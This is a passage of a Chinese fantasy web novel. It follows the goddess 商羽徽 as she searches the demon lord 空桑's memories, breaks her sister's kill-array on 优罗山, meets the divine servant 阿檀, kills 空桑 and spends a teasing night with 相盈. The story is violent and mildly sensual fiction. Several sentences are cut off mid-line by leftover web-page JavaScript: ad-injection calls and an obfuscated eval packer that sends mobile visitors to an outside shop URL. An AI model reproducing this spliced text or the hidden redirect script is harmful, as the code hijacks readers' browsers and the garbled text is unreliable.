没想到天魔会问些这是,空桑还道她从不在乎,他肃容:“神女无论待谁都亲和仁慈,对我……略有些不同。” 商羽徽示意他继续说下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 去。 “她教导我的那些年,曾有几次,体内魔气冲破封印……”想起这些事,空桑的面容柔和不少,“那时我只知曾有六界煞气化魔出世,并不知就是自己。神女在扶桑洲一向严明无私,我体内显出魔气,她竟不曾告诉旁人,还替我隐瞒。” 仁爱世人的神女,不将他送回魔界,对他显露出一些偏心,空桑至今仍然无法忘怀:“她为何不送我回魔域,宁可承担这样的风险,也要将我留于身旁,日夜相伴?” 商羽徽不答,倒是相盈先笑了声:“她只是留你在身旁,日夜相伴是你自作多情的臆想。扶桑洲弟子成百上千,哪个不是与她日夜相伴。” 场上三人唯有他的法力微乎其微,他竟不怕死,语笑轻蔑,在一株柳树下静立。 偏他身份特殊,空桑忍耐下来。 商羽徽与相盈对视一眼,显然并未责怪他,转脸向空桑道:“她明知你的身份还留你在身旁,又怎会因你体内煞气而送你回魔域?” 师徒相伴,只有本分。 “她对你,究竟有何不同?” 相盈说话不客气,商羽徽也不比他强多少。 实力悬殊,空桑一再忍耐,恼怒道:“你不曾亲眼所见,怎知她待我如何?” 顺了顺气息,他继续道:“扶桑洲弟子众多是不假,能够让她担此罪责之辈又有几多?我稍年长些,已察觉自身异样,于身份上隐有揣测……心知她是见我体内有煞气,才不得不将我照看在身边。” “可整个仙族之中,有几人获此殊荣?且……我向她袒露心意时,她是应下我的!”一说到此事,空桑的面孔上表露出无尽的无憾和懊悔,“是我不该逼她做决断……仙族各位长老得知此事,将我驱逐,我亦认了。我只是,只是想再见见她,可她守护六界,我又是人尽皆知的魔,如何相守?” 商羽徽打断他的话语:“她应下了你的心意?” 空桑颔首:“她若是心中无我,我与她两两相望,只是苦我一人。可她心中有我,我想与她厮守就,何错之有?” 挣扎几许,商羽徽缓步行至空桑身边,不待他反应,伸手抓出了他的神识。 魔尊的神识,也如白雾一般,发着微弱的光芒。 商羽徽探入其中,搜寻着他的回忆,终于在不得已的情形下,再度见到姐姐。 扶桑洲不曾坍塌前,有一条云梯盘旋在四境山上。 少年空桑穿着仙袍,站在曲意琅身侧,犹豫着,不知要说些什么。 曲意琅耐心等待,额间的银饰精致,温柔的凤眼中,含了些难以抗拒的威仪。 “神女……”空桑难以启齿,“神女知道我的心意吗?” 刚问出这话,空桑的脸已红透了,他煎熬等待着答复。 曲意琅没有让他等太久。 “自然,我很清楚。” 她这样说,空桑更难为情,抬起俊脸,与那双狭长的凤眸对视,他情不自禁问:“那神女呢?神女心中可有我?” 他怕她会错意,又连忙道:“神女,也喜欢我?” 风雪中,曲意琅在他热切地注视下,轻轻颔首:“喜欢。” 商羽徽看到这里,已弄清楚事情起因——她放回空桑的神识,不屑道:“她是喜欢你。不过,她也喜欢我,在青女眼里,就没有她不喜欢、不爱的。” 被剥夺神识的剧痛还未缓解,天旋地转间听见这样的话语,空桑难以接受:“不会,绝无可能,她对我有私情。” “你非要如此说,我不拦你,”商羽徽没那个心思与他多费口舌,想起扶桑洲那群老头的话语,她问,“青女是不是曾经结阵欲要将你抓回?” 空桑承认:“不错。当初她留我一命,将我放回魔界,我知晓她对我难以下手,后来结阵,也只不过是做戏给六界之人看看。” “阵结在何处?” 不明她为何要问这个,空桑狐疑,却还是答道:“优罗山。” 有风吹过脸颊,带来夜流河中的寒意。 商羽徽不再追问,只喃喃自语:“优罗山……” 12. 神侍 神蛇陪伴在相盈身旁,早已感到无趣,重新化为一条红帛缠绕在商羽徽的臂弯间。 商羽徽摸了摸它,面色微妙,心中有不好的猜测。 她无视了空桑热切的眼神,走到相盈身旁:“恐怕要改天才能让你与那位琴魔碰面。” 夜流河悠长彻冷,奔流之势大有看头,相盈已经知足,只是问她:“我们要急着离开吗?” 为了求证心中所想,商羽徽不愿耽误,出了魔域,叫上方杜一同前往优罗山。 沉睡的万年中,商羽徽本已忘却优罗山这个地方,今日陡然再想起,也不知晓它变成了什么样。 去程中,方杜在前方引路,相盈从未听闻过此地,询问过后,商羽徽蹙眉:“优罗山曾是我与姐姐避世隐居之地。” 她隐去了许多重要之事,空桑还想着先前的事,出言讽刺:“孤魂怨鬼,走出去都不知道怎么死。优罗山在尽墟海旁,处处都是大阵。” 相盈却根本没理会他,只定定望着商羽徽。 以他对商羽徽浅显的了解,能让她露出担忧之色,只能表明事态很严重。 方杜亦回头道:“优罗山自古有之,传闻有上古天神在此布下重重杀阵,因它在尽墟海旁,想打开虚空隧道,必须自优罗山经过。” “那就是青女布下的阵。”商羽徽恢复了从前的懒散,笑道,“是为了杀我。” “杀你?”空桑喜不自胜,“此阵杀你绰绰有余,想来她是有意让我逃脱。” “……”商羽徽微微一笑,“有你这样的蠢猪当魔尊,还能搞得天下大乱、六界防备,我不仅看你可笑,余下仙者也是废物,不如将灵气归还天地,别再浪费功夫。” 她不忘正名:“这阵杀不了如今的我。” 空桑气得说不出话来,好半晌才道:“那你说来看看,神女为何刻意放我一马?” 商羽徽认真道:“不明白吗?其用心恶毒,你难以想象。” 空桑一口咬定她在胡言乱语,不与她争辩。 方杜早已紧闭其口,不敢插话; 倒是相盈悠然自得,主动挽起商羽徽的手,眨眼:“不必动气。” 这关切的话语也无几分真心,尽职的男宠模样。 这一路上恐怕只要他全然在状况外。 他既不想借势,又不关心神女之死,心境相当平和,商羽徽看在眼中,没有挣脱那只手。 优罗山偏僻,不算太高,和海角崖正好一南一北。 然而,比之仙气飘飘的海角崖,优罗山乌云密布,枯木遍地。 数万年来,这座山还停留在原地,不曾被海水吞并。 只可惜,商羽徽沉睡太久,忘却了在此地和青女曾过着什么样的日子。 脑中依稀的碎片、与方才搜魂时所见,让她不大痛快。 优罗山脚下,并无落脚之地,荒岛上只听见尽墟海的海浪咆哮。 商羽徽走在前方,相盈紧随其后,方杜与空桑对此地很戒备,步子放慢了些。 直到行至一座巨大的无字通天碑旁,山体晃动,除了商羽徽外,其余三人都被一阵刺目白光隔绝在外。 不知何时踏足进了阵眼,且这布局之人果真只冲着商羽徽而来,其余三人安然无恙。 白光化为棱镜一样的碎片,商羽徽独立其中,语声轻蔑:“折镜?杀阵……” 眼见数万片棱镜一齐刺向商羽徽,方杜不免焦急:“这阵法想必是神女所布……神力之充沛,外人不敢上前。” 她所言不假,即便是曾经的六界最强魔尊空桑也僵在原地,一动也不能动。 他与曲意琅交手过,也只是有输有赢,从未感受到过这般压迫。 原来她早已非全盛时期……想到此处,空桑的瞳仁紧缩。 折镜阵内,商羽徽抬掌相迎,外人眼中可怖的法阵,被她轻轻碾碎。 她也不是安然无恙,指尖之上,被镜片划出一道红痕。 起初只是细细一条线,很快晕出一大片红,可见是受了伤,但商羽徽并不在意,随意将手上的血抹在无字通天碑之上。 阵破的一瞬,优罗山发出巨响,轰鸣声中,石泥滚落。 一道石门展现在众人面前,不知它在此山中沉寂多久,如今当着众人的面缓缓打开。 “这是……?” 在场之人不约而同望向商羽徽。 商羽徽拢起眉心,却见一条青色小蛇从石门中爬出。 此蛇十分瘦小,仅有寻常人的胳膊长短,很不惹眼。 它竖起身子,警惕端详眼前几人,直至见到商羽徽,它化出少年模样,恭敬跪迎:“红女,别来无恙,这些年过得如何?” 商羽徽本已将此人忘却,见它化出人身,才有些零星记忆:“阿檀?” 她望了望四周,了然:“阵法将你惊醒。” 被唤作阿檀的少年青衣绿眸,肤白似玉,身形矮瘦,面容之中掺着些不谙世事的天真,这一点竟与商羽徽很相似。 相盈抿唇不语,方杜与空桑亦在一旁观望。 “正是如此。”阿檀左顾右盼,探究道:“主人为何不曾前来?” 主人?什么主人?空桑暗自不妙,果然听到商羽徽答复阿檀:“青女消逝了,神魂散落。” 对青女而言,神魂消散不是初次,阿檀只是落寞,未见伤心:“消逝……想来又要等许多年,方能与她重逢。” 他发觉自己对红女身旁之人的疏忽,行礼后,带着众人走向优罗山内。 路上,只有相盈主动发问:“此人是何身份?” 他的话语中饱含好奇,方杜不敢问,空桑则是不愿问。 商羽徽已回想起了一些:“阿檀是姐姐的神侍。当初我与姐姐住在优罗山,阿檀追随在姐姐身边。想必自从青女离开优罗山,阿檀就自封神识,长眠于此。” 最前方的阿檀含笑应声:“正是如此。你走之后,青女亦要离开,她告知我外界过于危险,叫我看守此地,说不定某一日你会回来。” 通道内众人心思各异,空桑脸色最为难堪,他终究是个耐不住性子的魔,直问:“你和曲……你与青女什么干系?” 阿檀被他问得莫名,只得将商羽徽 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 说过的话语复述:“万年前,我是青女的神侍。” “呵,”空桑扭过脸,“一个仆从。” “仆从?”沉睡多年的阿檀听不明白空桑的讥讽,只是笑了一笑。 商羽徽心中不耐:“闭嘴,空桑。” 她前来是有要事:“青女离去前,可曾给你留过什么话?” 万年前之事,阿檀初醒,脑中混沌,思索半刻:“似乎是有的,容我细想。” 山体之内别有洞天,清泉瀑布、绿地旁建着小小木房,房顶上挂着几串风铃,生机盎然之景与山外的凋零大不相同。 一行人宛若进了世外桃源,相盈别有趣味地用手折来一只红梅。 此地气候如春,梅花竟开得旺盛。 得知一行人无需用茶后,阿檀专心回忆青女曾给他留过什么话。 空桑盯着阿檀许久,转脸独自进了青女曾经居住的小院。 方杜的心情很微妙,她从未想过一只渡鸦能够进到优罗山内,与传闻中的神侍打交道。 又想到主上身边那只小小男鬼……不知那男鬼心中,可有这份感激之情。 淙淙水声中,商羽徽与相盈并坐在瀑布旁。 相盈赏着景,商羽徽则是凝着一汪清泉,艰难回忆起与青女在此处的点滴。 细枝末节之事,商羽徽总是忘得很快,神侍阿檀的出现,让她有了突破口。 她想起来:“在优罗山避世的那些年,人间大乱,人皇之间征战不休,凡间黄土比今日魔域更为惨烈,处处白骨,母子相食。” 相盈做人的时日不够长,他道:“生于乱世,百姓自然没有活路。就是当初在西地,官家也盛行酷吏,偏远之地,皇权不能及。” “生灵涂炭了五百多年……”商羽徽回想起来,不知在说给谁听,“我想与姐姐一同重返人间,我与她说……” 她说了何事? 相盈等待她的后半句,二人的思绪却被阿檀打断。 不过阿檀的面色不大好,他踌躇立在一旁,看了几眼相盈,商羽徽摇头:“不必介意他,有话直说。” “是。” 阿檀慢吞吞指了指优罗山内的高处,“万年前,您离开了优罗山,青女不曾告知我缘由。而后,我发觉她在优罗山布满杀阵。” “你消失前,与青女常有争吵,我又见那杀阵凶险万分,起初,只当是为你布置。”阿檀眉心紧缩,双目中隐含痛楚,“青女离开之前,却道……若有一日你回到此处,就证明她已消逝,你吞并了她一半功体。” “她将自己另一半功体留于阵中,只有你们姐妹二人能触发此阵……阵眼就是她另一半神魂。阵破,神魂亦散。” 如此做的后果就是近乎神陨,岂是万年就可修复? “前些日子,此阵已被开启,”阿檀面色发白,“恐怕是青女为之,她熟悉这阵,亲自剿灭另一半的神魂,不曾有别的动静……” 为何?为何她要做这般伤人更伤己的事? 冥冥之中,商羽徽听见姐姐叹息的话语。 红女……我绝不会,让你得逞。 13. 无用之人 优罗山内,阿檀领着商羽徽去往更深的隧道。 自从他将青女离去前的话语转达,商羽徽就一直沉着脸。 她极少形容外显,但不得不对青女的事上心。 山中幽静宁谧,却并不是只有桃源之景,商羽徽回想起从前,主动让阿檀带她来到此处。 她没有带上旁人,意味着里头的东西不想被外人所知;除开一直待在屋内的空桑,相盈与方杜都是个识趣的,不再跟上。 阿檀在前引路,目色忧虑,几经思索,终究是没忍住:“敢问,红女与主人之间,究竟发生了何事?她不惜自毁神魂……” 他心底担忧青女的安危,商羽徽很欣慰:“万年过去,你对姐姐还这般忠心。” 话尾一改,她又道:“我没想到她会做到这一步。” 没想到吗?阿檀意外地望着她,旋即收回目光。 相伴多年,几乎从未分离的二人,也会揣度不出彼此的心意? 这条羊肠小道开辟在瀑布后方,尽头之处一片昏暗不明的光晕,此处的顶端连通优罗山外,光影由此而来;设了结界,外物不得入内。 石室内的墙壁之上,立着一樽青色棺椁,古木制成,雕着树枝与绿叶,生机勃然之色,其内却空无一物,透着些死气。 商羽徽见此棺椁,神容恍惚了一瞬:“她动这些做什么?” 阿檀似在尽力回想,遗憾道:“主人独自在此,不曾让我入内。” 他亦走到青棺前,很是怀念,“不知小枝如今怎么样了?” “小枝?”这个名字让商羽徽本能而笑,“唉……她如今叫丹荣。不巧的是,又踏上了求仙问道之路。” 关于小枝的事,阿檀还能记起不少,绿眸中些许不忍:“你遇见她了?到底是你的造物,即便失去记忆,也总是在轮回中和你碰面。” 商羽徽只说:“这就是当初的她无论如何也要追寻的结果。” “她不愿意做神仙,一心想当个凡人,你已尽了全力。”阿檀宽解她。 商羽徽一想到这事就不由怅惘,又似是怨怒:“兴许真是我的错,我能给她一切,她不想要,反倒恨我的血脉。可如今几经轮回,她仍然再入仙门。” 所追寻的,是对是错?阿檀不愿评判,柔声道:“她很像你……也很像主人。” “是么?”商羽徽不得不认下,“若不是她从姐姐身上学了三分倔脾性,又怎么会闹到要与我斩断关系。” 提及此人,她心境不佳,在石室内坐了一阵,没有过多的留恋,决定远路返回与山洞之中。 二人一同往回走,入口处,相盈正独立于小溪旁,听见声响,向商羽徽望来。 自始至终,相盈都不曾瞧过阿檀,他只与商羽徽交谈。 “我还以为你们要再待一会儿。”他露出一抹善解人意的笑。 商羽徽颔首,而后停下脚步,示意众人在此等候。 她穿过溪流,缓步至树屋前,推开木门。 魔尊空桑静坐于桌边,但若要说他在睹物思人又不大合适,因为屋内并无多少物件。 空荡荡的宅屋,连张像样的卧榻也无,倒摆了三张书案,地上堆满了书籍,此处更像个书房。 空桑欲言又止,拾起一本已被翻开的书册,又放回原处。 “你们二人在这里都做些什么?”他摇头,“所书文字竟也难以辨认。” 从前之事,商羽徽已在言语间想起许多,她倚在窗边笑道:“你被驱逐后,就入魔了,青女可曾制止你?” “……她前来规训我。” 想起曲意琅孤身出现在魔域外的那个雪夜,空桑眼神熠熠:“我当然清楚,她与我的身份天壤之别……我不想叫她为难。” 漫漫飞雪中,空桑与曲意琅对视,他很清楚,天神孤身来此,是来劝和。 她悠悠唤他的名字:“空桑,你还是走到了这一步。” 当初的他,被愤怒与背叛冲昏了头脑,仍旧抱着希冀发问:“您明知我身带煞气,还将我教导在身旁……你心里是有我的,你说过。” “是的,”曲意琅应得很快,“我心中当然有你。不仅有你,还有许许多多的人。” 空桑大步向前,越过落雪,握住她的手:“他们不配!不配在你心中留有一席之地。我爱慕你,这有什么错?因为我是天魔,他们才逼我至此,我不想入魔,若非他们逼人太甚,我怎会如此?” 那双交握的手,不曾被曲意琅挣开。 两人的掌心都是冷的,曲意琅紧紧反握住他的手,微微一笑:“他们不信任你,我却相信,你不必顺应天命。” “你心底不曾厌弃我?”空桑先是一喜,“不,不行。我已入魔域,与你在一块儿,只会令你徒增烦恼。” “你是我的孩子,我怎会嫌恶?”曲意琅将他的手缓缓松开,摸了摸他的头发,“入魔的结局唯有一死,我不忍你离去,随我走吧,我会亲自管教你。” “以什么身份回到你身边?” 空桑等待着她的答复,曲意琅抬眸对峙,轻飘飘说了句“罪人”。 他自知有罪。被驱逐时,已伤了许多仙族弟子,又为了逼她出面,在仙族附近弄出不少动静。 他不怪曲意琅说他有罪,二人的身份也容不下光明磊落的相守。 二人的故事如此清晰明了,商羽徽听入神了,仿佛也在那个雪夜见到了曲意琅。 搜魂术即可完成的事,商羽徽通常不会耐着性子等人转述,显然这又是一个因姐姐而有的例外。 良久,她轻轻眨眼:“姐姐对你很好,才让你认为她有了私情。你杀那么多人,说着要一统六界,是想强行与她相守么?” 空桑颔首:“我不想她为难,宁可是我背负骂名。” “……”商羽徽本想骂他是个蠢人,话到嘴边,又改了主意,抬起了手,“她说得不错,你是死路一条。” 优罗山本就不大,打斗的动静传到旁人耳边,不过半刻就已平息,流水声中,商羽徽提着一具尸体走出木屋。 煞气从这具尸首之内溢出,冲破山顶,空桑的半边身子被活生生碾碎,看不出原貌,一半神魂被商羽徽扯出,烈火灼烧。 他尚有残留的意识,另一半神魂仍在体内,却只能眼睁睁看着自己被撕成裂片。 先前的一切,都发生得太突然,威压自商羽徽身上散出时,空桑的本能竟不是反攻,而是跪地臣服——当他再试着反抗时,一切都晚了。 商羽徽很久没有这样杀人,神态静冷,甚至有几分同情:“天生煞气,注定的恶种,让你小心翼翼长大,不如早一步结束这一切。” “你……凭什么……”空桑双目圆瞪,“你凭什么替她决定?她收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13931830|147153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留我……就意味着……” 话声逐渐虚弱,曾高傲自大的魔尊空桑在这顷刻之间被剥夺了性命,他无法反抗,连多余的交代也不曾有,不甘地闭上眼。 “咚。” 溪边一株兰花,凝出雨露坠地。 “主上……” 方杜终于被惊回神,上前处理尸首,但空桑的尸身已先一步被火焰尽数包围。 阿檀见怪不怪,商羽徽杀了个人,不曾沾染半点污渍,但他仍旧打了泉水来给她擦手。 “方杜,”商羽徽望着她,“你说你想一统六界。” 眼前场面稍显混乱,不过方杜仍然坚定颔首。 商羽徽:“那么,你现在是新的魔尊。” “我?”方杜张大嘴巴,又惊又怕,“我怎能当魔尊?” 一只渡鸦变凤凰,还要当上魔尊,方杜受宠若惊,心口跳得很快。 “有何不可?”商羽徽误会她的用意,“六界之内,任你所行,你若不想当魔尊,我去把仙族妖族或是新的人皇全部杀了。” 方杜感动之余连声拒绝:“主上,新的人皇尚在襁褓,算了。” 又道:“我愿意做魔尊,主上既托付给我,我一定幸不辱命!” 她就差化出原形叫两声助阵,比起她的雀跃,商羽徽显得过于镇静:“不必,你只需做你想做的事。” 兴许是不想继续这个话题,商羽徽走到相盈身旁,换了个口吻:“我们要在这里住几日。” 沉默许久的相盈终于回神,仅犹豫了片刻,就点了点下巴。 他全无选择的余地,此处风景独特,若非说有什么不满……相盈后知后觉:“我不曾将琴带来。” 知他爱琴如命,商羽徽挥了挥手,命令阿檀前去取琴。 阿檀困惑:“扶桑洲是何处?” 此蛇沉睡多年,不知这些地界变换,方杜主动道:“我去命人将琴送来。” 商羽徽对这些细枝末节之事不甚在意,送走了方杜,阿檀主动提议将屋子重新收拾一遍,她与相盈外出看海。 优罗山顶的苍穹黑云压眼,使目色中的海水也透出一股诡异青黑,不详之海尽墟,海浪翻卷中似乎都带着魔气。 相盈专注地看了许久,直到两人的发丝被风吹起缠绕在一处,他才开口:“你怎么把人杀了?” 商羽徽上前走了两步,背影立于暗色海潮之中,她没有回头。 “这有什么不妥,一个魔尊,杀了他,反倒是造福六界子民。” “你可不是为了六界,”相盈陈述事实,望着她的身形,她背影寂寥,广袖翻飞间尚残留些许杀气。 他的视线最终停留在她发间的蛇簪上,“我以为他与你姐姐有些干系,你还会留他一命。” 商羽徽笑道:“这倒是我误会他,他实在糊涂,无法为我所用,留着不如死了。” 她听见身后传来脚步声,相盈走到她身旁,侧着脸,脸庞上拢了些阴影,海风将他眉宇中的媚色吹散,揉为一点幽冷:“神女无心于他,都是他的自作多情……那么,你还需要我么?” 弄清楚一切,应当就不需要再如先前那般鹦鹉学舌了吧?她甚至杀掉了从前的魔尊空桑。 他的问题让商羽徽很莫名:“为什么不?” 原来她还没有玩过瘾,相盈斟酌之余,无奈道:“那是最好。” 14. 谢我 顷刻间,空桑的死讯在六界土地上如疾风般吹散至各处,而新任魔尊是一只名叫方杜的渡鸦。 方杜周游各国,不少人知晓她追随天魔,正因如此,空桑的死因也很明了。 优罗山清净,外人不知商羽徽的去处,方杜夜间特来送琴,带来了仙族的几句话。 传话时,方杜很不满:“这帮人大言不惭,说什么替神女谢过你,斩除这个后患……您跟神女的关系,轮得到外人来谢过么?” 商羽徽想的却不是这些:“竟有心思谢我,记吃不记打。” 她又感到荒唐:“仙族之人不知你的计划。” 方杜道是:“我也正想说,不过仙族向来如此,凡事分开来,桩桩件件算得清楚。” 这做派可不就是青女教他们的?商羽徽想起姐姐,顿感头疼,待方杜走后,独自坐了好一会儿都不曾言语。 折腾了一整日,已是明月中天,商羽徽也望了眼头顶的皎洁,而后悠长叹气。 阿檀给她递上酒水,跪坐在一旁问她今夜如何歇息。 他的眼神询问般望向正在调试琴弦的相盈,商羽徽盯着酒水,心道这酒岂非酿了数万年,还能入口么? 她沉吟:“他和我歇在一块儿。” 阿檀了然,不再多问:“屋内我已收拾过,旧籍被放在院落中。” 言毕,他退了下去。 山内的居所唯有这一处,空桑的尸首被处理后,绿茵地上已恢复如初,瞧不出半点血腥气。 泉溪旁,相盈将双手洗净,又将长琴摆在玉石桌上,按下一个弦。 本以为他今日的见闻,要奏出什么恢弘之曲,但音调仍旧凄冷,比往常更甚,还有几分诡异。 商羽徽远远瞧了会儿,在哀冷的琴声中缓步走出山洞,她低头盯着衣摆,沿着石壁向外,双足化为蛇尾。 赤尾在甬道之中滑行,拍打于内壁之上。走出山洞的刹那,她抬起双手拆下发间长簪,无数条小蛇从她身旁分散,钻到优罗山内各处。 一路行至无字通天碑旁,商羽徽瞧着碑上的血迹,又望向已被毁坏的阵法,闭上双目凝神。 她放出去的数条神蛇不曾带来任何回讯,大阵旁亦没有青女残留的半点气息,天地之间,她如同人间蒸发。 这实在不是个好兆头,阿檀与空桑又不似说谎。 商羽徽在扶桑洲亦试图寻过青女的神魂,却毫无所得,她只想青女神力溃散,气息也微弱。 原来一切早有端倪,神魂消散,本应在弥散之地能找到些许残魂,商羽徽当日不曾多想,今日发觉连优罗山内也无线索。 倘若连结下大阵之处都不曾有青女残留的神魂,她究竟去了何处? 想到青女曾入梦警戒天灵珠之事,商羽徽泄气般睁开双目。 她披散长发,缓缓蛇行回优罗山内,盎然景象中,相盈身披月瀑,琴声断断续续似在调整。 高大的阴影笼在相盈面上,打断了相盈的指尖动作。 他顿住身子,抬起脸,入目先是一截赤色蛇尾,鳞片上带着细微的光泽,再往上瞧却是人身,怪谲的模样让人害怕。 墨色长袍还穿在她身上,青丝拢在一旁,漆黑的瞳仁对上他的视线,就不再移开。 相盈哑声:“你怎么变出了原形?” 早知她是条蛇变的,真正见到蛇尾仍感到不适,在西地的百年,相盈见过妖魔鬼怪,其中也要蛇妖,却远不如商羽徽这般奇特。 商羽徽甩了甩尾巴,伸出一截,低下头看他,好心指出:“这并非我的原形。” 他瞧着不似害怕,只蹙眉又道:“你变成这般模样做什么?” “我想找一找碎片……”商羽徽不打算将计划告知相盈,她将少年来回打量。 “见到我的蛇身,你本该下跪。” 相盈不愿,反而后退几步:“为何要跪?” 商羽徽端详着他,未曾开口,阿檀在远处解释道:“神相威严,凡人与小仙都会跪拜。” 许是为了以身作则,他低下身,跪在了地上,垂首默声。 相盈朝那边斜斜睨了一眼,收回目光,对商羽徽笑道:“我看就不必了,倘若你显出原形,我自然乐意。” 他听说过商羽徽的原身是一条九头异蛇,显世时整个扶桑洲都被搅乱,眼前模样显然非全貌。 商羽徽伸手又摸到颈间,被封印前的剧痛还历历在目。 “青女返生前,我无需显出原身。” 她收起了蛇尾,让阿檀下去。 相盈望着阿檀离去的背影,探究:“他真的是妖?言谈举止,倒像个……” 兴许是不知该如何表述,相盈沉默下来,商羽徽却听明白他的意思,示意他坐近一些:“阿檀是姐姐的神侍,他为此而生,没有多余的念头。” 过于听话乖顺,不似活物,更像是这优罗山中的一座石碑,一樽器具,相盈想明白怪异感从何而来,问她:“为此而生又是何意?” 商羽徽言简意赅,用手指了指:“他是姐姐多年前的造物……只要一点命真水,就可造出新物。但没有她的精血,阿檀无法生出灵魄,只会听命于他的主人。” 命真水是浊悬的赠物,当初她不曾凋零,河流之中孕育生机,命真水汇聚成泉,青女由此造物。 类似的术法相盈曾耳闻过,譬如傀儡术,可此类术法无法凭空制造肉.身,多是在旁人身上偷天换日。 他感到新奇:“丹荣受了你的血脉,才有了灵智。” 商羽徽颔首:“我一直很后悔。” 今日奔波,她也不愿与相盈说这些,聊正事她另有打算。 头顶的星光铺散,洞内已是一片暗色,商羽徽与相盈踩着青萍进屋,房内被收拾得整洁有序。 多年前她与姐姐在此,商羽徽并不宿在房内,而是盘卧于泉水之中,青女则会在书房之内读书阅卷,数月都不会合眼。 她知晓青女其实从未隔断与六界的联系,避居于此,是为了压制妹妹越发残暴的性情。 青女甚少入眠,就是歇下,也只是伏在案上入神,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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商羽徽不懂她,耳中想起浊悬所言,怔怔冥思良久,方摇了摇头,“罢了,歇息吧。” 她要歇息,实则闭目养神,相盈自觉合衣上塌,神情拘束。 商羽徽借着一点月晖看向他的面庞,见他如此谨慎,她道:“你可知从前那些男人见到我,无论我是什么模样,都要跪着与我说话?” “你如今的日子过得太好了,竟敢对我出言不逊。” 相盈睁开双目,冷白的肌理在月下恍若羽绸。 他的媚态绝非刻意,倨傲且时常讥讽他人的嘴脸还减淡那几分媚色,恰如此刻,他拧眉道:“哪些男人?” 商羽徽以为他没听清:“从前伺候我的男人。” 一听此话,相盈也支起身子,青丝堆落在床铺上,衣襟散开些。 本想说些别的,可想起那夜被她气哭,他将到了嘴边的话又咽回去,阴阳怪气地祝贺她:“真有福气,我也要跪你?” 商羽徽活了这么多年,怎会听不出他的怪声怪气,她忍笑:“此言差矣,过去伺候我的男人容貌远不如你,我谈何福气?倒是你,跟在我身边,我不忍心你跪,尽是你的福气。” “……”相盈睁着眼,商羽徽平日话不多,难以想见还有此伶牙俐齿一面,他气道,“那我倒要谢过你。” 商羽徽将他来回打量数遍,颔首:“好啊,你拿什么谢我?” 15. 信徒 相盈半晌未出声,审视的目光在他身上落着,让他浑身不自在。 窗外传来溪水奔流的动静,良久,他轻轻眨了下眼:“我不清楚。” 他没什么能够给她的,无非是一条命或是……相盈心里这样想,话语之中很是犹豫:“要像上回那样脱衣裳吗?你又不贪图肉。欲。” 商羽徽本想逗他一下,闻言却变了脸:“胡说,我很贪图。” 相盈也愣了:“可你既为初生之神,世间万物都唾手可得,何需耽于肉相之中?” 她连连摇头,不屑道:“什么歪理?我生来就有七情六欲,不能因我是任何身份而剥夺。” 常人总是把神仙修士想作高山白莲,商羽徽可不吃这套,她又道:“凡人什么样,我就什么样。” 凡人有的她有,凡人没有她也得有,相盈听明白几分。 这话也不是全无道理,他应当认可,只是陡然又问:“你既贪图,那为何对我……” 那日夜里的情形再度浮现,细想之下,相盈如同蒙受大辱,可他内心又不那么想被辱——实在是纠葛万分,一问出口,他就后悔了,和此女纠缠,他实在难以占上风。 “我以为你不愿意呢,”商羽徽纳闷,“你有这样心悦我?很想伺候我?” 这要他如何作答,相盈一口气闷在胸口,不想再经历上回的事,只想结束这场谈话。 “愿意,自然愿意,”他缓和了语气,“歇下吧,我倦了。” 商羽徽却不想放过他:“当真愿意?你如何证明?” “……”相盈实在想不出要怎样自证,他二人又无感情,他道,“难道从前伺候你的人,对你心悦至极?” “不错,”商羽徽感到惋惜,“他们容貌不如你,但很尊敬我,我随意给个眼神,他们就跪地叩拜。现世的男人就是把日子过得太好了,一个个不知死活。” 说来也怪,以往天地之间灵力充沛,照例而言容貌出众者只多不少,可当时的男人大多不过样貌端正,远不如今时今日所见。 商羽徽猜测:“心术不正之辈多了起来,倒让人容貌更甚了,可见大多是另辟蹊径。唉,我想起从前,他们固然容貌不如你们,心地却要淳朴些。” “我没有。”相盈下意识回口,又想到以前是多久的以前?食不果腹之时? 他问,“既然如此,你何不找那些心术正的男人来当男宠?” 商羽徽幽幽道:“你懂什么,如今去哪里找那样的男人?多是装出来的。且容貌不好看,我要来何用?” 美貌要背负罪名,平庸也要,皮囊竟也能看出对错,因为好坏话全被她一人说完了。相盈情不自禁问她:“你为何这般追求皮相?” 商羽徽回忆:“我与凡人学的。有一回我醒来,凡间变了模样。” 不知年岁几何,她听见耳边有人嘀嘀咕咕:“女孩子家家,哪有不爱美的?你今日喊疼,过段时日就适应了!” 孩子哭喊声尖叫声混杂在一块儿,商羽徽记住了这句话,且化为己用:“谁叫我是女人,我不爱美怎么办?” 相盈算是见识到了她的本事,化一切不利为友,他嗟叹:“原来如此。” 该歇下了,他躺在软塌上,今日确有些疲累,所见之事也很新奇。相盈合上眼,想着眼前的一幕幕,计划明日要继续谱什么曲子。 身旁的商羽徽再度开口:“你还不曾向我证明。” 少年如惊弓之鸟一般坐起身,侧脸看她,商羽徽心想这是什么眼神?是恨吗?她难以确认,但感到有趣,笑道:“怎么不讲话?” 她伸出手,先是摸了摸他柔软的长发,发觉手感不错,又蹭了蹭他的脸。 相盈僵了好一会儿,才轻轻俯下身。 朦朦月中,二人的视线交错,可一个目中含笑,另一个眉宇恼怒。 相盈错开眼,屏住呼吸凑到她脸边,用唇轻触一下。 他的唇是冷的,商羽徽身上亦是如此,轻轻一碰,转瞬离去。 而后他才想起自己该合上双眸,可他却忘了……相盈气恼之余,咬牙道:“我愿意的。” 商羽徽什么都没感觉到,她摸了摸脸:“你愿意什么?” 还要逼问?相盈尽量平心静气:“我愿意伺候你。” 